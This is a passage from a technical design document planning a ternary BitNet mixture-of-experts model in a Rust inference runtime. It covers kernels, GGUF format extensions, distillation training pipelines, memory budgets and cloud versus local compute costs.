NEON | General-purpose, balanced performance |\n| **TL2** | Memory-constrained | Systems with <16GB RAM or high cache pressure |\n\n**Implementation path**: Adapt bitnet.cpp's kernel generation scripts (Python codegen) to produce Rust SIMD intrinsics compatible with RuvLLM's existing `kernels/` module structure.\n\n**Key kernel operations:**\n1. Pack ternary weights into 2-bit (I2_S) or LUT index (TL1: 4-bit, TL2: 5-bit)\n2. Generate lookup tables for activation sums at model load time\n3. Execute GEMM via table lookup + integer addition (no floating-point multiply)\n4. Accumulate in INT16 with pack-and-unpack technique (lossless, no quantization of partials)\n5. Dequantize output with per-block FP16 scale\n\n### AD-5: GGUF Tensor Format Extension\n\n**Decision**: Extend RuvLLM's GGUF format with BitNet-specific metadata and a new `BITNET_TERNARY` quantization type.\n\n**New GGUF metadata keys:**\n```\ncraftsman.bitnet.version = 1\ncraftsman.bitnet.weight_encoding = \"absmean_ternary\"\ncraftsman.bitnet.activation_bits = 8\ncraftsman.bitnet.router_precision = \"f16\"\ncraftsman.bitnet.kernel_hint = \"tl1\" // preferred kernel\ncraftsman.moe.total_params = 30000000000\ncraftsman.moe.active_params = 3000000000\ncraftsman.moe.num_experts = \ncraftsman.moe.active_experts = \n```\n\n**Tensor storage**: Map to existing `IQ1_S` (type 19) for ternary expert weights, with additional metadata distinguishing post-training IQ1_S from native BitNet ternary. Alternatively, register a new type `BITNET_T158 = 29` if the existing IQ1_S block format is incompatible with absmean-scale-per-block layout.\n\n### AD-6: RuvLLM Backend Integration\n\n**Decision**: Create a new `BitNetBackend` alongside existing Candle and mistral-rs backends.\n\n```\nbackends/\n\u251c\u2500\u2500 mod.rs // Backend trait + dispatch\n\u251c\u2500\u2500 candle_backend.rs // GPU (Metal/CUDA)\n\u251c\u2500\u2500 mistral_backend.rs // PagedAttention + ISQ\n\u251c\u2500\u2500 coreml_backend.rs // Apple Neural Engine\n\u2514\u2500\u2500 bitnet_backend.rs // NEW: CPU ternary inference\n```\n\n**BitNetBackend responsibilities:**\n1. Load GGUF with ternary tensor detection\n2. Initialize TL1/TL2/I2_S lookup tables per layer\n3. Execute MoE routing in FP16 \u2192 select active experts\n4. Run selected expert forward passes using ternary GEMM kernels\n5. Attention in FP16 (Phase 1) or ternary (Phase 2+)\n6. KV cache management (Q8 two-tier, existing infrastructure)\n\n**Backend trait compliance:**\n```rust\nimpl InferenceBackend for BitNetBackend {\n fn load_model(&mut self, path: &Path, config: ModelConfig) -> Result<()>;\n fn generate(&self, prompt: &str, params: GenerateParams) -> Result;\n fn get_embeddings(&self, text: &str) -> Result>;\n fn supports_architecture(&self, arch: &str) -> bool;\n}\n```\n\n### AD-7: MoE Forward Pass Pipeline\n\n**Decision**: Split MoE forward pass into FP16 routing + ternary expert execution.\n\n```\nInput Token Embedding (FP16)\n \u2502\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 For each transformer layer: \u2502\n\u2502 \u2502\n\u2502 1. RMSNorm (FP16) \u2502\n\u2502 2. Self-Attention \u2502\n\u2502 \u251c\u2500 Q/K/V projection (Phase 1: FP16, \u2502\n\u2502 \u2502 Phase 2: Ternary)\u2502\n\u2502 \u251c\u2500 RoPE (FP16) \u2502\n\u2502 \u251c\u2500 Scaled dot-product attention \u2502\n\u2502 \u2514\u2500 Output projection \u2502\n\u2502 3. RMSNorm (FP16) \u2502\n\u2502 4. MoE Block: \u2502\n\u2502 \u251c\u2500 Router (FP16 gating network) \u2502\n\u2502 \u2502 \u2192 Select top-K experts \u2502\n\u2502 \u251c\u2500 Expert FFN (TERNARY BitLinear) \u2502\n\u2502 \u2502 \u251c\u2500 gate_proj: W_ternary @ X_int8\u2502\n\u2502 \u2502 \u251c\u2500 up_proj: W_ternary @ X_int8\u2502\n\u2502 \u2502 \u251c\u2500 SwiGLU activation \u2502\n\u2502 \u2502 \u2514\u2500 down_proj: W_ternary @ X_int8\u2502\n\u2502 \u2514\u2500 Weighted sum of expert outputs \u2502\n\u2502 5. Residual connection \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502\n \u25bc\nLM Head (FP16) \u2192 Logits \u2192 Token\n```\n\n### AD-8: SONA Integration for Ternary Adaptation\n\n**Decision**: MicroLoRA adapters applied as FP16 deltas on top of ternary base weights.\n\n**Rationale**: Ternary weights cannot be directly fine-tuned at inference time (gradient updates don't map to {-1, 0, +1}). Instead, SONA's MicroLoRA applies rank-1 FP16 adapters whose output is added to the ternary forward pass output:\n\n```\nY = BitLinear(X) + LoRA_B @ LoRA_A @ X\n```\n\nWhere `BitLinear(X)` uses ternary GEMM and `LoRA_B @ LoRA_A @ X` is a small FP16 correction. This preserves BitNet's efficiency for 99%+ of computation while enabling per-session adaptation.\n\n### AD-9: Memory Budget Analysis\n\n**Decision**: Target <8GB model + 2GB KV cache = 10GB total for 4K context.\n\n| Component | Precision | Size | Notes |\n|-----------|-----------|------|-------|\n| Expert weights (28B params) | 1.58-bit | ~5.5 GB | 28B \u00d7 2.06 bits = ~7.2 GB raw, but only routing metadata for inactive experts |\n| Shared layers (2B params) | FP16 | ~4 GB | Embeddings, LM head, router, norms |\n| Expert routing tables | FP16 | ~50 MB | Gating network weights |\n| TL1/TL2 lookup tables | INT16 | ~200 MB | Pre-computed at load time |\n| KV cache (4K context) | Q8 | ~1.5 GB | Two-tier cache (hot FP16 + warm Q8) |\n| MicroLoRA adapters | FP16 | ~10 MB | Rank-1, <1MB per target module |\n| **Total** | \u2014 | **~7.8 GB** | Fits in 16GB system with headroom |\n\n**Note**: Full 30B ternary weights on disk are ~7.2 GB. At runtime, only active expert weights (~3B active) are in hot memory for any given token, with inactive expert pages memory-mapped and demand-loaded.\n\n### AD-10: Platform-Specific Kernel Dispatch\n\n**Decision**: Runtime hardware detection drives kernel selection.\n\n```rust\npub fn select_kernel(caps: &HardwareCaps) -> BitNetKernel {\n if caps.has_avx512() {\n BitNetKernel::I2S_AVX512\n } else if caps.has_avx2() {\n BitNetKernel::TL1_AVX2\n } else if caps.has_neon() {\n if caps.cache_size_l2 >= 2 * 1024 * 1024 {\n BitNetKernel::TL1_NEON\n } else {\n BitNetKernel::TL2_NEON // memory-constrained\n }\n } else if caps.has_sse41() {\n BitNetKernel::TL1_SSE41\n } else {\n BitNetKernel::I2S_Scalar // fallback\n }\n}\n```\n\n**Integration**: Leverages RuvLLM's existing `autodetect.rs` hardware capability detection module.\n\n### AD-11: GRPO-Guided Distillation Loss\n\n**Decision**: Use `GrpoOptimizer` to compute per-expert reward scaling during knowledge distillation, replacing a traditional fixed-weight KD loss.\n\n**Rationale**: Standard KD uses a static `alpha` to blend KL divergence and hard-label cross-entropy. GRPO adds a dynamic reward signal that upweights expert-student pairs where ternary output closely matches the teacher, and downweights divergent pairs. This is achieved by mapping each expert's teacher-vs-student output comparison to a `SampleGroup`:\n\n```\nCombined Loss = KD_base + GRPO_scale\nWhere:\n KD_base = \u03b1 * KL(teacher_logits/T, student_logits/T)\n + (1-\u03b1) * CE(labels, student_logits)\n GRPO_scale = (1 + reward * 0.1)\n\n reward = GrpoEvaluator.evaluate(student_expert_output, teacher_expert_output)\n \u2192 1.0 when cosine_sim > 0.95\n \u2192 -0.5 when cosine_sim < 0.7\n```\n\n**Key configuration** (extending `GrpoConfig::stable()`):\n```rust\nGrpoConfig {\n group_size: num_experts, // One group per MoE layer\n learning_rate: 1e-6, // Conservative for distillation\n kl_coefficient: 0.1, // Tight teacher adherence\n kl_target: 0.02, // Low divergence target\n clip_range: 0.1, // Narrow clipping for stability\n normalize_advantages: true, // Normalize across experts in group\n adaptive_kl: true, // Auto-adjust KL penalty\n ..GrpoConfig::stable()\n}\n```\n\n**Reused**: `GrpoOptimizer`, `GrpoConfig`, `SampleGroup`, `GrpoEvaluator` from `training/grpo.rs`.\n**New**: `BitNetGrpoAdapter` that maps expert forward pass outputs to `GrpoSample` structs.\n\n### AD-12: Contrastive Pre-Training for Expert Routing Validation\n\n**Decision**: After ternary conversion of expert weights, use the existing `ContrastiveTrainer` to verify that MoE routing still selects the correct experts.\n\n**Rationale**: Replacing expert FFN weights with ternary approximations changes the output distribution of each expert. If expert N's ternary output becomes more similar to expert M's output, the router may misroute tokens. Contrastive pre-training on expert embeddings detects and corrects this.\n\n**Approach**:\n1. For each token in a calibration set, record which expert the teacher model's router selects\n2. Generate `TrainingTriplet`s: anchor = hidden state, positive = correct expert output, negative = wrong expert output\n3. Use existing hard negative mining to find expert pairs that become confusable after ternary conversion\n4. Fine-tune the FP16 router gating weights using contrastive loss to restore correct expert selection\n\n**Reused**: `ContrastiveTrainer`, `ContrastiveConfig`, `TrainingTriplet` from `training/contrastive.rs`.\n**New**: `ExpertTripletGenerator` that produces triplets from MoE routing decisions.\n\n### AD-13: EWC++ Cross-Expert Stability During Sequential Distillation\n\n**Decision**: Apply `EwcRegularizer` from `lora/training.rs` during sequential expert distillation to prevent catastrophic forgetting across experts.\n\n**Rationale**: Distilling 30B MoE experts sequentially (expert 0, then 1, ..., then N) risks overwriting shared representations. EWC++ computes Fisher information diagonals for each expert's contribution to the shared attention layers, then regularizes subsequent expert distillation to not deviate from previously-learned important weights.\n\n**Configuration**:\n```rust\nTrainingConfig {\n ewc_lambda: 5000.0, // Higher than default (2000) for cross-expert stability\n fisher_decay: 0.995, // Slower decay to preserve Fisher across expert phases\n quality_threshold: 0.5, // Only learn from high-quality distillation samples\n lr_schedule: LearningRateSchedule::Cosine,\n warmup_steps: 500, // Longer warmup for 30B scale\n ..Default::default()\n}\n```\n\n**Concrete protection**:\n- After distilling expert 0: compute Fisher diagonal `F_0` over validation set\n- When distilling expert 1: add penalty `ewc_lambda/2 * \u03a3 F_0_i * (w_i - w*_0_i)\u00b2`\n- Accumulate: `F_cumulative = fisher_decay * F_prev + (1-fisher_decay) * F_new`\n\n**Reused**: `EwcRegularizer`, `TrainingPipeline`, `TrainingConfig`, `FisherDiagonal` from `lora/training.rs`.\n**New**: `SequentialExpertDistiller` that wraps `EwcRegularizer` across expert phases.\n\n### AD-14: Policy Store for Per-Layer Ternary Scale Tracking\n\n**Decision**: Extend `PolicyStore` with a new `PolicyType::TernaryScale` to persist per-block absmean scale distributions and learned quantization decisions.\n\n**Rationale**: Not all layers quantize equally well to ternary. Attention layers may need different scale clipping than FFN layers. The policy store enables the distillation pipeline to learn and persist per-layer quantization strategies that can be retrieved and applied in future distillation runs or model updates.\n\n**New policy type**:\n```rust\npub enum PolicyType {\n Quantization,\n Router,\n Ewc,\n Pattern,\n TernaryScale, // NEW: Per-layer ternary quantization metadata\n}\n\npub struct TernaryScalePolicy {\n pub layer_idx: usize,\n pub module: String, // \"gate_proj\", \"up_proj\", \"down_proj\", \"q_proj\", etc.\n pub mean_absmean: f32, // Average scale factor across blocks\n pub std_absmean: f32, // Variance in scale factors\n pub sparsity: f32, // Fraction of zero weights\n pub quality_vs_teacher: f32, // Cosine similarity to teacher output\n pub distillation_loss: f32, // Final loss for this layer\n pub recommended_block_size: usize, // 256 default, may vary\n}\n```\n\n**Reused**: `PolicyStore`, `PolicyEntry`, `PolicySource` from `policy_store.rs`.\n**New**: `TernaryScalePolicy` struct and `PolicyType::TernaryScale` variant.\n\n### AD-15: Memory Distillation for Training Quality Tracking\n\n**Decision**: Log all distillation teacher-student comparisons as `Trajectory` objects in the `ReasoningBank`, enabling `MemoryDistiller` to extract `KeyLesson`s about which layers, experts, and configurations produce the best ternary quality.\n\n**Rationale**: Distillation is iterative \u2014 understanding which experts converge quickly, which resist ternary conversion, and what scale distributions correlate with quality enables intelligent scheduling of future distillation runs.\n\n**Mapping**:\n\n| ReasoningBank Concept | Distillation Mapping |\n|----------------------|---------------------|\n| `Trajectory` | One expert's distillation run (N steps) |\n| `Verdict` | `Success` if cosine_sim > 0.9, `Failure` if < 0.7 |\n| `PatternCategory` | Expert index + layer type (e.g., \"expert_3_gate_proj\") |\n| `KeyLesson` | \"Expert 7 gate_proj converges fastest with lr=2e-6 and block_size=128\" |\n| `CompressedTrajectory` | Summary of entire expert distillation phase |\n\n**Reused**: `MemoryDistiller`, `DistillationConfig`, `CompressedTrajectory`, `KeyLesson` from `reasoning_bank/distillation.rs`.\n**New**: `DistillationTrajectoryRecorder` that adapts expert training steps to `Trajectory` format.\n\n### AD-16: Distillation Pipeline Composition\n\n**Decision**: Compose the full Craftsman Ultra distillation pipeline from existing RLM components wired through a new `CraftsmanDistiller` orchestrator.\n\n**Pipeline architecture**:\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 CraftsmanDistiller (NEW orchestrator) \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 TeacherModel \u2502\u2500\u2500\u2500\u25b6\u2502BitLinearTrainer \u2502\u2500\u2500\u2500\u25b6\u2502 GGUFExporter \u2502 \u2502\n\u2502 \u2502(GLM-4.7-Flash)\u2502 \u2502(NEW: STE+shadow) \u2502 \u2502(REUSED) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u25bc \u25bc \u25bc \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502GrpoOptimizer \u2502 \u2502EwcRegularizer\u2502 \u2502ContrastiveTrainer\u2502 \u2502\n\u2502 \u2502(REUSED) \u2502 \u2502(REUSED) \u2502 \u2502(REUSED) \u2502 \u2502\n\u2502 \u2502Per-expert \u2502 \u2502Cross-expert \u2502 \u2502Router validation \u2502 \u2502\n\u2502 \u2502reward scaling\u2502 \u2502stability \u2502 \u2502post-ternary \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u25bc \u25bc \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Quality Feedback Loop \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 MemoryDistiller \u2500\u2500\u25b6 KeyLesson extraction \u2502 \u2502\n\u2502 \u2502 PolicyStore \u2500\u2500\u25b6 TernaryScale persistence \u2502 \u2502\n\u2502 \u2502 (BOTH REUSED) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\nNet-new code: BitLinearTrainer (STE + shadow weights), CraftsmanDistiller (orchestrator)\nReused code: GrpoOptimizer, EwcRegularizer, ContrastiveTrainer, MemoryDistiller,\n PolicyStore, GGUFExporter, TrainingConfig, LR schedules\nReuse ratio: ~70% existing / ~30% new\n```\n\n**Optimization: Expert-Parallel Distillation**\n\nExperts are independent during forward pass. Distill multiple experts concurrently across CPU cores:\n\n```rust\n// Distill experts in parallel (independent FFN weights)\nlet expert_results: Vec = experts\n .par_iter() // rayon parallel iterator\n .enumerate()\n .map(|(idx, expert)| {\n let mut trainer = BitLinearTrainer::new(expert, &teacher_expert[idx]);\n let mut ewc = EwcRegularizer::new_with_fisher(cumulative_fisher[idx]);\n let mut grpo = GrpoOptimizer::new(GrpoConfig::stable());\n\n for batch in dataset.batches() {\n let student_out = trainer.forward_ternary(batch);\n let teacher_out = teacher.forward_expert(idx, batch);\n\n let reward = grpo.evaluate(&student_out, &teacher_out);\n let kd_loss = kd_loss_fn(&student_out, &teacher_out, alpha, temperature);\n let ewc_penalty = ewc.penalty(&trainer.shadow_weights());\n let total_loss = kd_loss * reward.scale() + ewc_penalty;\n\n trainer.backward_ste(total_loss);\n }\n\n ewc.update_fisher(&trainer); // Update Fisher for next expert\n DistillResult { idx, weights: trainer.export_ternary(), fisher: ewc.fisher() }\n })\n .collect();\n```\n\n### AD-17: Training Infrastructure \u2014 Cloud GPU over Local SIMD\n\n**Decision**: Use Google Cloud A100/H100 GPU instances for distillation training. Reserve local CPU/SIMD for inference validation, MicroLoRA adaptation, and GGUF export only.\n\n**Rationale**: Local CPU/SIMD training is mathematically infeasible at the 200B+ token scale required for expert distillation. The existing RuvLLM SIMD kernels (`kernels/`) are inference-only \u2014 no backpropagation or gradient computation. The training code (`real_trainer.rs:178-184`) supports Metal (macOS) or CPU but not CUDA, and CPU throughput at ~50-100 tok/s training would require ~65 years for 200B tokens.\n\n**Memory analysis (per-expert distillation):**\n\n| Component | Size | Notes |\n|-----------|------|-------|\n| Single expert FFN shadow weights (FP16) | ~2 GB | ~1B params per expert (28B \u00f7 N experts) |\n| Gradients (FP32) | ~4 GB | Full precision for STE backprop |\n| AdamW optimizer state (2\u00d7 FP32) | ~8 GB | First + second moment |\n| Teacher activations cache | ~1 GB | Per-batch FP16 |\n| EWC++ Fisher diagonal | ~0.5 GB | Per-expert accumulated |\n| **Per-expert total** | **~15.5 GB** | Fits in A100 40GB with headroom |\n\n**Full model simultaneous (Phase 2+):**\n\n| Component | Size | Notes |\n|-----------|------|-------|\n| 30B shadow weights (FP16) | ~60 GB | Requires A100 80GB or H100 |\n| Gradients + optimizer | ~360 GB | Requires multi-GPU parallelism |\n| **Total** | **~430 GB** | 4\u00d7 A100 80GB or 4\u00d7 H100 80GB |\n\n**Throughput and cost comparison:**\n\n| Platform | Training tok/s | Time (200B tok, Phase 1) | Cost | Phase 0 PTQ? | Phase 0.5 RLM? |\n|----------|---------------|--------------------------|------|-------------|---------------|\n| **Mac Studio M4 Max (Metal)** | ~500-1000 | ~6.5 years | N/A | **Yes \u2014 1-4 hrs, $0** | **Yes \u2014 2-12 days, $0** |\n| **Mac Studio M4 Max (NEON SIMD only, no Metal)** | ~200-500 | ~13 years | N/A | **Yes \u2014 2-6 hrs, $0** | **Yes \u2014 4-24 days, $0** |\n| **Mac Studio M3 Ultra (Metal)** | ~800-1500 | ~4.2 years | N/A | **Yes \u2014 1-1.5 hrs, $0** | **Yes \u2014 1.5-8 days, $0** |\n| **Mac Studio M3 Ultra (NEON SIMD only, no Metal)** | ~300-700 | ~9 years | N/A | **Yes \u2014 1.5-3 hrs, $0** | **Yes \u2014 3-16 days, $0** |\n| CPU AVX2 (Ryzen 9) \u2014 scalar fallback | ~50-150 | ~43-130 years | N/A | Yes \u2014 2-6 hrs, $0 | Yes \u2014 14-58 days, $0 |\n| 1\u00d7 A100 80GB (GCP on-demand) | ~15,000 | ~155 days | ~$3,700 | Yes \u2014 30 min, ~$5 | Overkill |\n| 4\u00d7 A100 80GB (GCP on-demand) | ~50,000 | ~46 days | ~$4,400 | Overkill for PTQ | Overkill |\n| 4\u00d7 A100 80GB (GCP spot) | ~50,000 | ~46 days | **~$1,300** | Overkill for PTQ | Overkill |\n| 1\u00d7 H100 (DataCrunch) | ~40,000 | ~58 days | ~$2,900 | Overkill for PTQ | Overkill |\n| 4\u00d7 H100 (DataCrunch) | ~140,000 | ~16 days | **~$3,200** | Overkill for PTQ | Overkill |\n\n**Key insight**: Mac Studio is infeasible for Phase 1+ training (years of wall time) but **ideal for Phase 0 PTQ** (hours, $0). This separation justifies the phased approach.\n\n**Recommended infrastructure per phase:**\n\n| Phase | Instance | Duration | Estimated Cost | Strategy |\n|-------|----------|----------|----------------|----------|\n| **Phase 0 (PTQ)** | **Mac Studio (M4 Max/M3 Ultra)** | **1-4 hours** | **$0** | **Mmap FP16 weights \u2192 absmean quantize \u2192 export GGUF; Metal GPU for calibration pass** |\n| Phase 0D (BitDistill Lite, 10B tok) | Mac Studio Metal or 1\u00d7 A100 spot | 2-4 weeks (local) / 1-2 days (cloud) | $0 (local) / ~$300 (cloud) | Optional quality upgrade if Phase 0C too degraded |\n| **Phase 0.5 (RLM refinement, Metal)** | **Mac Studio (Metal)** | **3-14 days** | **$0** | **MicroLoRA + router fix + scale opt using existing RLM stack** |\n| **Phase 0.5 (RLM refinement, SIMD-only)** | **Mac Studio (NEON CPU)** | **5-28 days** | **$0** | **Same pipeline, no Metal required \u2014 pure ndarray + NEON SIMD (see AD-20)** |\n| Phase 1 (expert FFN, 200B tok) | 4\u00d7 A100 80GB spot (GCP) | ~46 days | $1,300-$2,000 | Per-expert sequential with EWC++; each expert fits 1 GPU |\n| Phase 1 (router validation) | Mac Studio Metal or 1\u00d7 A100 | ~2-4 hours | $0 (local) / <$10 (cloud) | Contrastive training on router only (~2B params) |\n| Phase 2 (full ternary, 500B tok) | 4\u00d7 H100 (DataCrunch) | ~16-32 days | $2,500-$5,000 | All layers; model-parallel across GPUs |\n| Phase 3 (native training, 4T tok) | 8\u00d7 H100 cluster | ~90-180 days | $15,000-$30,000 | Full from-scratch; depends on funding |\n| Inference validation | Mac Studio (NEON) | Continuous | $0 | TL1/TL2 kernel testing on ARM NEON |\n| MicroLoRA adaptation | Mac Studio | <1ms/update | $0 | Existing ndarray-based EWC++ pipeline |\n\n**Required code change**: Add CUDA device dispatch to `RealContrastiveTrainer`:\n```rust\n// Current (real_trainer.rs:178-184):\nlet device = if config.use_metal {\n Device::new_metal(0).unwrap_or(Device::Cpu)\n} else {\n Device::Cpu\n};\n\n// Required for cloud GPU training:\nlet device = if config.use_cuda {\n Device::new_cuda(config.cuda_device_id).unwrap_or(Device::Cpu)\n} else if config.use_metal {\n Device::new_metal(0).unwrap_or(Device::Cpu)\n} else {\n Device::Cpu\n};\n```\n\nThis is a single-line addition to `RealTrainingConfig` (`use_cuda: bool`, `cuda_device_id: usize`) and a 3-line change to device selection. The rest of the Candle training pipeline (tensors, optimizer, loss computation) works identically across CPU/Metal/CUDA.\n\n**Cost optimization strategies:**\n1. **Spot instances**: GCP A100 spot at ~$1/GPU-hr (70% off on-demand) \u2014 requires checkpointing every 30 min\n2. **DataCrunch / Lambda Labs**: H100 at $1.99-$2.10/hr (40-50% below GCP on-demand)\n3. **Expert-sequential on fewer GPUs**: Distill 1 expert at a time on 1\u00d7 A100 80GB (~$1.50/hr), increasing wall time but reducing per-hour cost\n4. **Mixed precision training**: FP16 shadow weights + BF16 activations reduces memory, enabling smaller instances\n5. **Gradient checkpointing**: Trade compute for memory to fit on fewer GPUs\n\n### AD-18: Phase 0 \u2014 PT-BitNet Post-Training Quantization on Mac Studio\n\n**Decision**: Implement a PT-BitNet ternary post-training quantizer as Phase 0, running entirely on a local Mac Studio, producing a rapid prototype GGUF for inference pipeline validation before investing in full distillation.\n\n**Rationale**: The original Option A (\"Rejected\") assumed only generic IQ1_S quantization, which produces garbled outputs at 1.56 bpw. However, PT-BitNet (2025) demonstrates that applying BitNet's native absmean ternary quantization to pre-trained weights with calibration data achieves significantly better results (61% downstream at 70B) than generic codebook PTQ. This produces genuine BitNet ternary format that enables multiplication-free inference with TL1/TL2 kernels \u2014 unlike IQ1_S which still requires dequant-then-multiply.\n\n**Target platform: Mac Studio (Apple Silicon)**\n\nPhase 0 is pure quantization (no training loop), making it ideal for local execution on Mac Studio:\n\n| Config | Unified RAM | FP16 Load | PTQ? | Calibration? | Notes |\n|--------|------------|-----------|------|-------------|-------|\n| M4 Max 36GB | 36 GB | mmap (demand-paged) | **Yes** | Slow (paging) | Minimum viable; mmap means only active tensor pages in RAM |\n| M4 Max 64GB | 64 GB | Fits with mmap assist | **Yes** | **Yes** | Comfortable for PTQ; calibration may page |\n| M4 Max 128GB | 128 GB | Fits entirely | **Yes** | **Yes** | Ideal \u2014 FP16 model (60GB) + ternary output (7GB) + calibration buffers all in RAM |\n| M3 Ultra 96GB | 96 GB | Fits entirely | **Yes** | **Yes** | Good headroom |\n| M3 Ultra 192GB+ | 192+ GB | Fits entirely | **Yes** | **Yes** | Ample room for full model + calibration + inference validation |\n\n**Why Mac Studio works for Phase 0 (but not Phase 1+):**\n- **PTQ is not training**: No gradient computation, no optimizer state, no backpropagation \u2014 just load \u2192 quantize \u2192 export\n- **Memory-mapped I/O**: FP16 weights can be mmap'd from disk; only the current tensor's pages need to be in RAM\n- **Per-tensor processing**: Quantize one tensor at a time (read FP16 block \u2192 compute absmean \u2192 round to ternary \u2192 write output) \u2014 working memory is ~2-4 MB per tensor regardless of total model size\n- **Metal GPU for calibration**: RuvLLM's existing `RealContrastiveTrainer` and `kernels/matmul.rs` support Metal via Candle (`use_metal: true` default, 3x speedup on M4 Pro GEMV)\n- **ARM NEON for TL1 kernels**: Mac Studio's Apple Silicon has NEON SIMD \u2014 the same target ISA as the TL1 kernel for ternary inference validation\n- **Phase 1 still needs cloud GPU**: 200B token distillation at ~500-1000 tok/s (Metal) = ~6.5 years locally vs ~46 days on 4\u00d7 A100\n\n**Estimated Phase 0 wall time on Mac Studio:**\n\n| Step | M4 Max 128GB | M4 Max 64GB | M3 Ultra 192GB |\n|------|-------------|-------------|----------------|\n| Download GLM-4.7-Flash FP16 (~60GB) | ~30 min (1Gbps) | ~30 min | ~30 min |\n| Absmean ternary quantization | ~5-15 min | ~10-30 min (paging) | ~5-10 min |\n| Calibration pass (1000 samples, Metal) | ~30-60 min | ~60-120 min | ~20-40 min |\n| GGUF export | ~2-5 min | ~2-5 min | ~2-5 min |\n| TL1 kernel validation inference | ~10-20 min | ~10-20 min | ~10-20 min |\n| **Total** | **~1-2 hours** | **~2-4 hours** | **~1-1.5 hours** |\n\n**Implementation approach**:\n\n```\nPhase 0 Pipeline (runs on Mac Studio):\n 1. Load GLM-4.7-Flash FP16/BF16 weights via mmap\n 2. For each linear layer in expert FFNs:\n a. Compute gamma = mean(|W|) (absmean scale)\n b. W_ternary = RoundClip(W / (gamma + epsilon), -1, 1)\n c. Store: 2-bit packed ternary weights + FP16 scale per block\n 3. Calibration pass (optional, improves quality, uses Metal GPU):\n a. Run ~1000 